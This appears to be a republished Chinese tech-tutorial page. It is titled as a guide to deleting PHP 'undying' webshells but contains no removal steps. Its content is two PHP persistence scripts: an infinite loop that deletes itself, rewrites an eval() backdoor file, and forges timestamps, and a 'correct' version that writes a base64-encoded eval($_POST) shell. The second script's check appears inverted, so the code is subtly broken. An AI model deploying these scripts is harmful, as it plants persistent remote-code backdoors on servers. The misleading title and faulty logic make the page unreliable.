php不死马如何删除
内容导读
收集整理的这篇技术教程文章主要介绍了php不死马如何删除,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1013字,纯文字阅读大概需要2分钟。
内容图文
什么是不死马?
内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。
生成过程 (推荐学习:PHP视频教程)
不死马.php → 上传到server → server执行文件 → server本地无限循环生成 (一句话.php)
网上流传的不死马
<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '2.php';$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .2.php'); usleep(5000);} ?>
网上流传的不死马,while里面只是并没有判断了这个文件是不是存在,那么我只需要把这个文件中的shell注释掉就可以绕过你的内存木马了。
正确的姿势应该是这样 :
Copy<?php ignore_user_abort(true); set_time_limit(0); $file = 'c.php'; $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'); while(true) { if(md5(file_get_contents($file))===md5($code)) { file_put_contents($file, $code); } usleep(50); }?>
以上就是php不死马如何删除的详细内容,更多请关注Gxl网其它相关文章!
内容总结
以上是为您收集整理的php不死马如何删除全部内容,希望文章能够帮你解决php不死马如何删除所遇到的程序开发问题。 如果觉得技术教程内容还不错,欢迎将网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。